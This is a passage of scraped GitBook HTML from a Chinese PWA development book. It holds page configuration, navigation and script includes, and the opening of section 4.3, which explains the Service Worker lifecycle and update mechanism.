[![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter04/2-service-worker-register.md\",\"mtime\":\"2019-06-19T10:37:42.144Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter04/3-service-worker-dive.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>4.3 Service Worker 工作原理 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-service-worker-debug.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-service-worker-register.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"1-service-worker-introduction.html\">\n            \n                <a href=\"1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"2-service-worker-register.html\">\n            \n                <a href=\"2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.5.3\" data-path=\"3-service-worker-dive.html\">\n            \n                <a href=\"3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"4-service-worker-debug.html\">\n            \n                <a href=\"4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >4.3 Service Worker 工作原理</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\"><b></b>Service Worker &#x5DE5;&#x4F5C;&#x539F;&#x7406;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x751F;&#x547D;&#x5468;&#x671F;\"><b></b>&#x751F;&#x547D;&#x5468;&#x671F;</a></li><li><span class=\"title-icon \"></span><a href=\"#waituntil-&#x673A;&#x5236;\"><b></b>waitUntil &#x673A;&#x5236;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7EC8;&#x7AEF;\"><b></b>&#x7EC8;&#x7AEF;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#clientsclaim-&#x65B9;&#x6CD5;\"><b></b>clients.claim() &#x65B9;&#x6CD5;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#service-worker-&#x66F4;&#x65B0;&#x539F;&#x7406;\"><b></b>Service Worker &#x66F4;&#x65B0;&#x539F;&#x7406;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#skipwaiting\"><b></b>skipWaiting</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x624B;&#x52A8;&#x66F4;&#x65B0;\"><b></b>&#x624B;&#x52A8;&#x66F4;&#x65B0;</a></li><li><span class=\"title-icon \"></span><a href=\"#update-on-reload\"><b></b>update on reload</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x5C0F;&#x7ED3;\"><b></b>&#x5C0F;&#x7ED3;</a></li></ul></ul></div><a href=\"#service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\"><a name=\"service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\" class=\"plugin-anchor\" href=\"#service-worker-&#x5DE5;&#x4F5C;&#x539F;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker &#x5DE5;&#x4F5C;&#x539F;&#x7406;</h1>\n<p>&#x524D;&#x9762;&#x5DF2;&#x7ECF;&#x4ECB;&#x7ECD;&#x4E86; Service Worker &#x662F;&#x4E00;&#x4E2A;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x7684;&#x672C;&#x8D28;&#xFF0C;&#x4E5F;&#x4E86;&#x89E3;&#x4E86; Service Worker &#x53EF;&#x4EE5;&#x79BB;&#x7EBF;&#x5DE5;&#x4F5C;&#xFF0C;&#x8FD8;&#x4ECB;&#x7ECD;&#x4E86; Service Worker &#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x4E2D;&#x662F;&#x5982;&#x4F55;&#x88AB;&#x6CE8;&#x518C;&#x7684;&#x3002;&#x4F46;&#x662F;&#x5230;&#x73B0;&#x5728;&#x4E3A;&#x6B62;&#x8FD8;&#x662F;&#x4E0D;&#x77E5;&#x9053; Service Worker &#x5177;&#x4F53;&#x600E;&#x4E48;&#x5728;&#x5B9E;&#x9645;&#x9879;&#x76EE;&#x4E2D;&#x5E94;&#x7528;&#x3002;&#x4E5F;&#x4E0D;&#x77E5;&#x9053;&#x5982;&#x4F55;&#x53BB;&#x5F00;&#x53D1;&#x548C;&#x7EF4;&#x62A4;&#x4E00;&#x4E2A; Service Worker &#x6587;&#x4EF6;&#x3002;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x77E5;&#x9053;&#x4E86; Service Worker &#x662F;&#x53EF;&#x4EE5;&#x5BF9; Web App &#x7684;&#x8D44;&#x6E90;&#x548C;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#xFF0C;&#x90A3;&#x5B83;&#x5230;&#x5E95;&#x662F;&#x5982;&#x4F55;&#x8FDB;&#x884C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x63A7;&#x5236;&#x7684;&#x5462;&#xFF1F;</p>\n<p>&#x5728;&#x672C;&#x8282;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x6DF1;&#x5165;&#x7684;&#x4ECB;&#x7ECD;&#x4E00;&#x4E0B; Service Worker &#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#xFF0C;Service Worker &#x7684;&#x5DE5;&#x4F5C;&#x539F;&#x7406;&#x4E3B;&#x8981;&#x4F53;&#x73B0;&#x5728;&#x5B83;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#x4E0A;&#xFF0C;&#x4E00;&#x4E2A; Service Worker 